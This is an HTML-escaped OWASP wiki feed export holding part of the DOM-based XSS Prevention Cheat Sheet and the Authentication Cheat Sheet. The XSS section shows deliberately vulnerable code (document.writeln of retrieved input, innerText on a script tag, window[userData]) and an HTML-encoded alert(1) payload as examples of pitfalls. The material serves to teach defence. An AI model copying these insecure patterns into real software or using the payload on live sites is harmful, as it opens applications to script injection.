This brings up an interesting design point.  Ideally, the correct way to apply encoding and avoid the problem stated above is to server-side encode for the output context where data is introduced into the application.  Then client-side encode (using a JavaScript encoding library such as ESAPI4JS) for the individual subcontext (DOM methods) which untrusted data is passed to.  ESAPI4JS (located at http://bit.ly/9hRTLH) and jQuery Encoder (located at https://github.com/chrisisbeef/jquery-encoder/blob/master/src/main/javascript/org/owasp/esapi/jquery/encoder.js) are two client side encoding libraries developed by Chris Schmidt.&amp;lt;br/&amp;gt;&lt;br /&gt;
Here are some examples of how they are used:&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 var input = “&amp;lt;%=Encoder.encodeForJS(untrustedData)%&amp;gt;”;  //server-side encoding&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 window.location = ESAPI4JS.encodeForURL(input);  //URL encoding is happening in JavaScript&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 document.writeln(ESAPI4JS.encodeForHTML(input));  //HTML encoding is happening in JavaScript&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
It has been well noted by the group that any kind of reliance on a JavaScript library for encoding would be problematic as the JavaScript library could be subverted by attackers.  One option is to wait till ECMAScript 5 so the JavaScript library could support immutable properties.&amp;lt;br/&amp;gt;&lt;br /&gt;
Another option provided by Gaz (Gareth) was to use a specific code construct to limit mutability with anonymous clousures.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An example follows:&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 function escapeHTML(str) {&lt;br /&gt;
      str = str + &amp;quot;''&amp;quot;;&lt;br /&gt;
      var out = &amp;quot;''&amp;quot;;&lt;br /&gt;
      for(var i=0; i&amp;lt;str.length; i++) {&lt;br /&gt;
          if(str[i] === '&amp;lt;') {&lt;br /&gt;
              out += '&amp;amp;amp;lt;';&lt;br /&gt;
          } else if(str[i] === '&amp;gt;') {&lt;br /&gt;
              out += '&amp;amp;amp;gt;';&lt;br /&gt;
          } else if(str[i] === &amp;quot;'&amp;quot;) {&lt;br /&gt;
              out += '&amp;amp;amp;#39;'; &lt;br /&gt;
          } else if(str[i] === '&amp;quot;') {&lt;br /&gt;
              out += '&amp;amp;amp;quot;';                        &lt;br /&gt;
          } else {&lt;br /&gt;
              out += str[i];&lt;br /&gt;
          }&lt;br /&gt;
      }&lt;br /&gt;
      return out;                    &lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;Chris Schmidt has put together another implementation of a JavaScript encoder at http://yet-another-dev.blogspot.com/2011/02/client-side-contextual-encoding-for.html.  &amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
6. Limit the usage of dynamic untrusted data to right side operations.  And be aware of data which may be passed to the application which look like code (eg. &amp;lt;code&amp;gt;location&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eval()&amp;lt;/code&amp;gt;).  (Achim)&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 var x = “&amp;lt;%=properly encoded data for flow%&amp;gt;”;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you want to change different object attributes based on user input use a level of indirection.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Instead of: &amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 window[userData] = “moreUserData”;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Do the following instead:&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 if (userData===”location”) {&lt;br /&gt;
    window.location = “static/path/or/properly/url/encoded/value”;&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. When URL encoding in DOM be aware of character set issues as the character set in JavaScript DOM is not clearly defined (Mike Samuel).&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
8. Limit access to properties objects when using object[x] accessors. (Mike Samuel).  In other words use a level of indirection between untrusted input and specified object properties.&amp;lt;br/&amp;gt;&lt;br /&gt;
Here is an example of the problem when using map types:&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 var myMapType = {};&lt;br /&gt;
 myMapType[&amp;lt;%=untrustedData%&amp;gt;] = “moreUntrustedData”;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Although the developer writing the code above was trying to add additional keyed elements to the &amp;lt;code&amp;gt;myMapType&amp;lt;/code&amp;gt; object.  This could be used by an attacker to subvert internal and external attributes of the &amp;lt;code&amp;gt;myMapType&amp;lt;/code&amp;gt; object.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
9. Run your JavaScript in a ECMAScript 5 canopy or sand box to make it harder for your JavaScript API to be compromised (Gareth Heyes and John Stevens).&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
10. Don’t &amp;lt;code&amp;gt;eval()&amp;lt;/code&amp;gt; JSON to convert it to native JavaScript objects.  Instead use &amp;lt;code&amp;gt;JSON.toJSON()&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;JSON.parse()&amp;lt;/code&amp;gt; (Chris Schmidt).&lt;br /&gt;
&lt;br /&gt;
=  Common Problems Associated with Mitigating DOM Based XSS =&lt;br /&gt;
==Complex Contexts==&lt;br /&gt;
In many cases the context isn’t always straightforward to discern.&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;a href=”javascript:myFunction(‘&amp;lt;%=untrustedData%&amp;gt;’, 'test');”&amp;gt;Click Me&amp;lt;/a&amp;gt;&lt;br /&gt;
 ...&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 Function myFunction (url,name) {&lt;br /&gt;
     window.location = url;&lt;br /&gt;
 }&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the above example, untrusted data started in the rendering URL context (&amp;lt;code&amp;gt;href&amp;lt;/code&amp;gt; attribute of an &amp;lt;code&amp;gt;&amp;lt;a&amp;gt;&amp;lt;/code&amp;gt; tag) then changed to a JavaScript execution context (&amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; protocol handler) which passed the untrusted data to an execution URL subcontext (&amp;lt;code&amp;gt;window.location&amp;lt;/code&amp;gt; of myFunction).  Because the data was introduced in JavaScript code and passed to a URL subcontext the appropriate server-side encoding would be the following:&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;a href=”javascript:myFunction(‘&amp;lt;%=Encoder.encodeForJS( &amp;amp;#x21a9;&lt;br /&gt;
               Encoder.encodeForURL(untrustedData))%&amp;gt;’, 'test');”&amp;gt;Click Me&amp;lt;/a&amp;gt;&lt;br /&gt;
 …&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Or if you were using ECMAScript 5 with an immutable JavaScript client-side encoding libraries you could do the following:&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;amp;lt;!--server side URL encoding has been removed.  Now only JavaScript encoding on server side. --&amp;gt;&lt;br /&gt;
 &amp;lt;a href=”javascript:myFunction(‘&amp;lt;%=Encoder.encodeForJS(untrustedData)%&amp;gt;’, 'test');”&amp;gt;Click Me&amp;lt;/a&amp;gt;&lt;br /&gt;
 ...&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 Function myFunction (url,name) {&lt;br /&gt;
     var encodedURL = ESAPI4JS.encodeForURL(url);  //URL encoding using client-side scripts&lt;br /&gt;
     window.location = encodedURL;&lt;br /&gt;
 }&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Inconsistencies of Encoding Libraries ==&lt;br /&gt;
There are a number of open source encoding libraries out there:&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#[[ESAPI]]&lt;br /&gt;
#Apache Commons String Utils&lt;br /&gt;
#Jtidy&lt;br /&gt;
#Your company’s custom implementation.&lt;br /&gt;
&lt;br /&gt;
Some work on a black list while others ignore important characters like “&amp;lt;” and “&amp;gt;”.  ESAPI is one of the few which works on a whitelist and encodes all non-alphanumeric characters.&lt;br /&gt;
It is important to use an encoding library that understands which characters can be used to exploit vulnerabilies in their respective contexts. Misconceptions abound related to the proper encoding that is required.&lt;br /&gt;
&lt;br /&gt;
==Encoding Misconceptions==&lt;br /&gt;
Many security training curriculums and papers advocate the blind usage of HTML encoding to resolve XSS.  This logically seems to be prudent advice as the JavaScript parser does not understand HTML encoding.  However, if the pages returned from your web application utilize a content type of “text/xhtml” or the file type extension of “*.xhtml” then HTML encoding may not work to mitigate against XSS.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For example: &amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 &amp;amp;amp;#x61;lert(1);&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt; &lt;br /&gt;
&lt;br /&gt;
The HTML encoded value above is still executable.  If that isn’t enough to keep in mind, you have to remember that encodings are lost when you retrieve them using the value attribute of a DOM element. &amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Let’s look at the sample page and script:&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;form name=”myForm” …&amp;gt;&lt;br /&gt;
   &amp;lt;input type=”text” name=”lName” value=”&amp;lt;%=Encoder.encodeForHTML(last_name)%&amp;gt;”&amp;gt;&lt;br /&gt;
 …&lt;br /&gt;
 &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var x = document.myForm.lName.value;  //when the value is retrieved the encoding is reversed&lt;br /&gt;
 document.writeln(x);  //any code passed into lName is now executable.&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finally there is the problem that certain methods in JavaScript which are usually safe can be unsafe in certain contexts.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Usually Safe Methods==&lt;br /&gt;
&lt;br /&gt;
One example of an attribute which is thought to be safe is innerText.  Some papers or guides advocate its use as an alternative to innerHTML to mitigate against XSS in innerHTML.  However, depending on the tag which innerText is applied, code can be executed. Also note, innerText is non standard and is not supported in FireFox&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var tag = document.createElement(“script”);&lt;br /&gt;
 tag.innerText = “&amp;lt;%=untrustedData%&amp;gt;”;  //executes code&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Authors and Contributing Editors  =&lt;br /&gt;
&lt;br /&gt;
Jim Manico - jim[at]owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Abraham Kang - abraham.kang[at]owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Gareth (Gaz) Heyes&amp;lt;br/&amp;gt;&lt;br /&gt;
Stefano Di Paola&amp;lt;br/&amp;gt;&lt;br /&gt;
Achim Hoffmann - achim[at]owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Robert (RSnake) Hansen&amp;lt;br/&amp;gt;&lt;br /&gt;
Mario Heiderich&amp;lt;br/&amp;gt;&lt;br /&gt;
John Steven&amp;lt;br/&amp;gt;&lt;br /&gt;
Chris (Chris BEEF) Schmidt&amp;lt;br/&amp;gt;&lt;br /&gt;
Mike Samuel&amp;lt;br/&amp;gt;&lt;br /&gt;
Jeremy Long&amp;lt;br/&amp;gt;&lt;br /&gt;
Eduardo (SirDarkCat) Alberto Vela Nava&amp;lt;br/&amp;gt;&lt;br /&gt;
Jeff Williams - jeff.williams[at]owasp.org &amp;lt;br/&amp;gt;&lt;br /&gt;
Erlend Oftedal&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:300px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Thompsnm</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Authentication_Cheat_Sheet&amp;diff=210319</id>
		<title>Authentication Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Authentication_Cheat_Sheet&amp;diff=210319"/>
				<updated>2016-03-02T21:24:59Z</updated>
		
		<summary type="html">&lt;p&gt;Thompsnm: /* OAuth */ - clarify subject in the statement '...however does not rely on HTTPS for security and can therefore...'&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;English&amp;lt;/b&amp;gt; | [[Authentication_Cheat_Sheet_Español | Spanish]]&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
'''Authentication''' is the process of verification that an individual, entity  or website is who it claims to be. Authentication in the context of web applications is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
'''Session Management''' is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
== Authentication General Guidelines  ==&lt;br /&gt;
&lt;br /&gt;
=== User IDs ===&lt;br /&gt;
&lt;br /&gt;
Make sure your usernames/userids are case insensitive. User 'smith' and user 'Smith' should be the same user. User names should also be unique. For high security applications usernames could be assigned and secret instead of user-defined public data.&lt;br /&gt;
&lt;br /&gt;
==== Email address as a User ID ====&lt;br /&gt;
&lt;br /&gt;
For information on validating email addresses, please visit the [https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet#Email_Address_Validation input validation cheatsheet email discussion].&lt;br /&gt;
&lt;br /&gt;
=== Implement Proper Password Strength Controls ===&lt;br /&gt;
&lt;br /&gt;
A key concern when using passwords for authentication is password strength. A &amp;quot;strong&amp;quot; password policy makes it difficult or even improbable for one to guess the password through either manual or automated means. The following characteristics define a strong password: &lt;br /&gt;
&lt;br /&gt;
==== Warning ====&lt;br /&gt;
&lt;br /&gt;
The following advice is disputed. Please view the OWASP presentation,  &amp;quot;[https://www.youtube.com/watch?v=zUM7i8fsf0g Your Password Complexity Requirements are Worthless - OWASP AppSecUSA 2014]&amp;quot; for more information.&lt;br /&gt;
&lt;br /&gt;
==== Password Length ====&lt;br /&gt;
&lt;br /&gt;
Longer passwords provide a greater combination of characters and consequently make it more difficult for an attacker to guess. &lt;br /&gt;
&lt;br /&gt;
* '''Minimum''' length of the passwords should be '''enforced''' by the application.&lt;br /&gt;
** Passwords '''shorter than 10 characters''' are considered to be weak ([http://csrc.nist.gov/publications/nistpubs/800-132/nist-sp800-132.pdf]).&lt;br /&gt;
&lt;br /&gt;
While minimum length enforcement may cause problems with memorizing passwords among some users, applications should encourage them to set ''passphrases'' (sentences or combination of words) that can be much longer than typical passwords and yet much easier to remember.&lt;br /&gt;
&lt;br /&gt;
* '''Maximum''' password length should not be set '''too low''', as it will prevent users from creating passphrases. Typical maximum length is 128 characters.&lt;br /&gt;
** Passphrases shorter than 20 characters are usually considered weak if they only consist of lower case Latin characters.&lt;br /&gt;
&lt;br /&gt;
==== Password Complexity ====&lt;br /&gt;
&lt;br /&gt;
Applications should enforce password complexity rules to discourage easy to guess passwords. Password mechanisms should allow virtually any character the user can type to be part of their password, including the space character. Passwords should, obviously, be case sensitive in order to increase their complexity. Occasionally, we find systems where passwords aren't case sensitive, frequently due to legacy system issues like old mainframes that didn't have case sensitive passwords.&lt;br /&gt;
&lt;br /&gt;
The password change mechanism should require a minimum level of complexity that makes sense for the application and its user population. For example:&lt;br /&gt;
&lt;br /&gt;
*Password must meet at least 3 out of the following 4 complexity rules&lt;br /&gt;
**at least 1 uppercase character (A-Z) &lt;br /&gt;
**at least 1 lowercase character (a-z) &lt;br /&gt;
**at least 1 digit (0-9) &lt;br /&gt;
**at least 1 [[Password special characters|special character (punctuation)]] &amp;amp;mdash; do not forget to treat space as special characters too&lt;br /&gt;
*at least 10 characters &lt;br /&gt;
*at most 128 characters&lt;br /&gt;
*not more than 2 identical characters in a row (e.g., 111 not allowed)&lt;br /&gt;
&lt;br /&gt;
==== Password Topologies ====&lt;br /&gt;
&lt;br /&gt;
* Ban commonly used password topologies&lt;br /&gt;
* Force multiple users to use different password topologies&lt;br /&gt;
* Require a minimum topology change between old and new passwords&lt;br /&gt;
&lt;br /&gt;
==== Additional Information ====&lt;br /&gt;
&lt;br /&gt;
* Make sure that every character the user types in is actually included in the password. We've seen systems that truncate the password at a length shorter than what the user provided (e.g., truncated at 15 characters when they entered 20).&lt;br /&gt;
* As application's require more complex password policies, they need to be very clear about what these policies are. The required policy needs to be explicitly stated on the password change page&lt;br /&gt;
* If the new password doesn't comply with the complexity policy, the error message should describe EVERY complexity rule that the new password does not comply with, not just the 1st rule it doesn't comply with.&lt;br /&gt;
&lt;br /&gt;
=== Implement Secure Password Recovery Mechanism ===&lt;br /&gt;
&lt;br /&gt;
It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Please see [[Forgot Password Cheat Sheet]] for details on this feature.&lt;br /&gt;
&lt;br /&gt;
=== Store Passwords in a Secure Fashion ===&lt;br /&gt;
&lt;br /&gt;
It is critical for a application to store a password using the right cryptographic technique. Please see [[Password Storage Cheat Sheet]] for details on this feature.&lt;br /&gt;
&lt;br /&gt;
=== Transmit Passwords Only Over TLS or Other Strong Transport ===&lt;br /&gt;
&lt;br /&gt;
See: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
The login page and all subsequent authenticated pages must be exclusively accessed over TLS or other strong transport. The initial login page, referred to as the &amp;quot;login landing page&amp;quot;, must be served over TLS or other strong transport. Failure to utilize TLS or other strong transport for the login landing page allows an attacker to modify the login form action, causing the user's credentials to be posted to an arbitrary location. Failure to utilize TLS or other strong transport for authenticated pages after login enables an attacker to view the unencrypted session ID and compromise the user's authenticated session.&lt;br /&gt;
&lt;br /&gt;
=== Require Re-authentication for Sensitive Features ===&lt;br /&gt;
&lt;br /&gt;
In order to mitigate CSRF and session hijacking, it's important to require the current credentials for an account before updating sensitive account information such as the user's password, user's email, or before sensitive transactions, such as shipping a purchase to a new address.  Without this countermeasure, an attacker may be able to execute sensitive transactions through a CSRF or XSS attack without needing to know the user's current credentials.  Additionally, an attacker may get temporary physical access to a user's browser or steal their session ID to take over the user's session.&lt;br /&gt;
&lt;br /&gt;
=== Consider Strong Transaction Authentication ===&lt;br /&gt;
&lt;br /&gt;
Some applications should use a second factor to check whether a user may perform sensitive operations. For more information see the [https://www.owasp.org/index.php/Transaction_Authorization_Cheat_Sheet Transaction Authorization Cheat Sheet].&lt;br /&gt;
&lt;br /&gt;
==== TLS Client Authentication ====&lt;br /&gt;
&lt;br /&gt;
TLS Client Authentication, also known as two-way TLS authentication, consists of both, browser and server, sending their respective TLS certificates during the TLS handshake process. Just as you can validate the authenticity of a server by using the certificate and asking a well known Certificate Authority (CA) if the certificate is valid, the server can authenticate the user by receiving a certificate from the client and validating against a third party CA or its own CA. To do this, the server must provide the user with a certificate generated specifically for him, assigning values to the subject so that these can be used to determine what user the certificate should validate. The user installs the certificate on a browser and now uses it for the website.&lt;br /&gt;
&lt;br /&gt;
It is a good idea to do this when:&lt;br /&gt;
&lt;br /&gt;
*It is acceptable (or even preferred) that the user only has access to the website from only a single computer/browser.&lt;br /&gt;
*The user is not easily scared by the process of installing TLS certificates on his browser or there will be someone, probably from IT support, that will do this for the user.&lt;br /&gt;
*The website requires an extra step of security.&lt;br /&gt;
*It is also a good thing to use when the website is for an intranet of a company or organization.&lt;br /&gt;
&lt;br /&gt;
It is generally not a good idea to use this method for widely and publicly available websites that will have an average user. For example, it wouldn't be a good idea to implement this for a website like Facebook. While this technique can prevent the user from having to type a password (thus protecting against an average keylogger from stealing it), it is still considered a good idea to consider using both a password and TLS client authentication combined.&lt;br /&gt;
&lt;br /&gt;
For more information, see: [https://en.wikipedia.org/wiki/Transport_Layer_Security#Client-authenticated_TLS_handshake Client-authenticated TLS handshake]&lt;br /&gt;
&lt;br /&gt;
=== Authentication and Error Messages ===&lt;br /&gt;
&lt;br /&gt;
Incorrectly implemented error messages in the case of authentication functionality can be used for the purposes of user ID and password enumeration. An application should respond (both HTTP and HTML) in a generic manner.&lt;br /&gt;
&lt;br /&gt;
===== Authentication Responses =====&lt;br /&gt;
&lt;br /&gt;
An application should respond with a generic error message regardless of whether the user ID or password was incorrect. It should also give no indication to the status of an existing account.&lt;br /&gt;
&lt;br /&gt;
===== Incorrect Response Examples =====&lt;br /&gt;
&lt;br /&gt;
*&amp;quot;Login for User foo: invalid password&amp;quot; &lt;br /&gt;
*&amp;quot;Login failed, invalid user ID&amp;quot; &lt;br /&gt;
*&amp;quot;Login failed; account disabled&amp;quot; &lt;br /&gt;
*&amp;quot;Login failed; this user is not active&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===== Correct Response Example =====&lt;br /&gt;
&lt;br /&gt;
*&amp;quot;Login failed; Invalid userID or password&amp;quot;&lt;br /&gt;
&lt;br /&gt;
The correct response does not indicate if the user ID or password is the incorrect parameter and hence inferring a valid user ID. &lt;br /&gt;
&lt;br /&gt;
===== Error Codes and URLs =====&lt;br /&gt;
&lt;br /&gt;
The application may return a different HTTP Error code depending on the authentication attempt response. It may respond with a 200 for a positive result and a 403 for a negative result. Even though a generic error page is shown to a user, the HTTP response code may differ which can leak information about whether the account is valid or not.&lt;br /&gt;
&lt;br /&gt;
=== Prevent Brute-Force Attacks ===&lt;br /&gt;
&lt;br /&gt;
If an attacker is able to guess passwords without the account becoming disabled due to failed authentication attempts, the attacker has an opportunity to continue with a brute force attack until the account is compromised.  Automating brute-force/password guessing attacks on web applications is a trivial challenge. Password lockout mechanisms should be employed that lock out an account if more than a preset number of unsuccessful login attempts are made.  Password lockout mechanisms have a logical weakness. An attacker that undertakes a large number of authentication attempts on known account names can produce a result that locks out entire blocks of user accounts.  Given that the intent of a password lockout system is to protect from brute-force attacks, a sensible strategy is to lockout accounts for a period of time (e.g., 20 minutes). This significantly slows down attackers, while allowing the accounts to reopen automatically for legitimate users.&lt;br /&gt;
&lt;br /&gt;
Also, multi-factor authentication is a very powerful deterrent when trying to prevent brute force attacks since the credentials are a moving target. When multi-factor is implemented and active, account lockout may no longer be necessary.&lt;br /&gt;
&lt;br /&gt;
== Logging and Monitoring == &lt;br /&gt;
Enable logging and monitoring of authentication functions to detect attacks / failures on a real time basis&lt;br /&gt;
&lt;br /&gt;
*Ensure that all failures are logged and reviewed&lt;br /&gt;
*Ensure that all password failures are logged and reviewed&lt;br /&gt;
*Ensure that all account lockouts are logged and reviewed&lt;br /&gt;
&lt;br /&gt;
== Use of authentication protocols that require no password ==&lt;br /&gt;
&lt;br /&gt;
While authentication through a user/password combination and using multi-factor authentication is considered generally secure, there are use cases where it isn't considered the best option or even safe. Examples of this are third party applications that desire connecting to the web application, either from a mobile device, another website, desktop or other situations. When this happens, it is NOT considered safe to allow the third party application to store the user/password combo, since then it extends the attack surface into their hands, where it isn't in your control. For this, and other use cases, there are several authentication protocols that can protect you from exposing your users' data to attackers.&lt;br /&gt;
&lt;br /&gt;
=== OAuth ===&lt;br /&gt;
&lt;br /&gt;
Open Authorization (OAuth) is a protocol that allows an application to authenticate against a server as a user, without requiring passwords or any third party server that acts as an identity provider. It uses a token generated by the server, and provides how the authorization flows most occur, so that a client, such as a mobile application, can tell the server what user is using the service. &lt;br /&gt;
&lt;br /&gt;
The recommendation is to use and implement OAuth 1.0a or OAuth 2.0, since the very first version (OAuth1.0) has been found to be vulnerable to session fixation.&lt;br /&gt;
&lt;br /&gt;
OAuth 2.0 relies on HTTPS for security and is currently used and implemented by API's from companies such as Facebook, Google, Twitter and Microsoft. OAuth1.0a is more difficult to use because it requires the use of cryptographic libraries for digital signatures. However, since OAuth1.0a does not rely on HTTPS for security it can be more suited for higher risk transactions.&lt;br /&gt;
&lt;br /&gt;
=== OpenId ===&lt;br /&gt;
&lt;br /&gt;
OpenId is an HTTP-based protocol that uses identity providers to validate that a user is who he says he is. It is a very simple protocol which allows a service provider initiated way for single sign-on (SSO). This allows the user to re-use a single identity given to a trusted OpenId identity provider and be the same user in multiple websites, without the need to provide any website the password, except for the OpenId identity provider.&lt;br /&gt;
&lt;br /&gt;
Due to its simplicity and that it provides protection of passwords, OpenId has been well adopted. Some of the well known identity providers for OpenId are Stack Exchange, Google, Facebook and Yahoo!&lt;br /&gt;
&lt;br /&gt;
For non-enterprise environments, OpenId is considered a secure and often better choice, as long as the identity provider is of trust.&lt;br /&gt;
&lt;br /&gt;
=== SAML ===&lt;br /&gt;
&lt;br /&gt;
Security Assertion Markup Language (SAML) is often considered to compete with OpenId. The most recommended version is 2.0, since it is very feature complete and provides a strong security. Like OpenId, SAML uses identity providers, but unlike OpenId, it is XML-based and provides more flexibility. SAML is based on browser redirects which send XML data. Furthermore, SAML isn't only initiated by a service provider; it can also be initiated from the identity provider. This allows the user to navigate through different portals while still being authenticated without having to do anything, making the process transparent.&lt;br /&gt;
&lt;br /&gt;
While OpenId has taken most of the consumer market, SAML is often the choice for enterprise applications. The reason for this is often that there are few OpenId identity providers which are considered of enterprise class (meaning that the way they validate the user identity doesn't have high standards required for enterprise identity). It is more common to see SAML being used inside of intranet websites, sometimes even using a server from the intranet as the identity provider.&lt;br /&gt;
&lt;br /&gt;
In the past few years, applications like SAP ERP and SharePoint (SharePoint by using Active Directory Federation Services 2.0) have decided to use SAML 2.0 authentication as an often preferred method for single sign-on implementations whenever enterprise federation is required for web services and web applications.&lt;br /&gt;
&lt;br /&gt;
'''See also: [[SAML Security Cheat Sheet]]'''&lt;br /&gt;
&lt;br /&gt;
=== FIDO ===&lt;br /&gt;
The Fast Identity Online (FIDO) Alliance has created two protocols to facilitate online authentication : the Universal Authentication Framework (UAF) protocol and the Universal Second Factor (U2F) protocol. While UAF focuses on passwordless authentication, U2F allows the addition of a second factor to existing password-based authentication. Both protocols are based on a public key cryptography challenge-response model. &lt;br /&gt;
&lt;br /&gt;
UAF takes advantage of existing security technologies present on devices for authentication including fingerprint sensors, cameras(face biometrics), microphones(voice biometrics), Trusted Execution Environments(TEEs), Secure Elements(SEs) and others. The protocol is designed to plug-in these device capabilities into a common authentication framework. UAF works with both native applications and web applications.&lt;br /&gt;
&lt;br /&gt;
U2F augments password-based authentication using a hardware token (typically USB) that stores cryptographic authentication keys and uses them for signing. The user can use the same token as a second factor for multiple applications. U2F works with web applications. It provides '''protection against phishing''' by using the URL of the website to lookup the stored authentication key.&lt;br /&gt;
&lt;br /&gt;
== Session Management General Guidelines  ==&lt;br /&gt;
&lt;br /&gt;
Session management is directly related to authentication. The '''Session Management General Guidelines''' previously available on this OWASP Authentication Cheat Sheet have been integrated into the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== Password Managers ==&lt;br /&gt;
&lt;br /&gt;
Password managers are programs, browser plugins or web services that automate management of large number of different credentials, including memorizing and filling-in, generating random passwords on different sites etc. The web application can help password managers by:&lt;br /&gt;
&lt;br /&gt;
* using standard HTML forms for username and password input,&lt;br /&gt;
* not disabling copy and paste on HTML form fields,&lt;br /&gt;
* allowing very long passwords,&lt;br /&gt;
* not using multi-stage login schemes (username on first screen, then password),&lt;br /&gt;
* not using highly scripted (JavaScript) authentication schemes.&lt;br /&gt;
&lt;br /&gt;
== Additional Resources ==&lt;br /&gt;
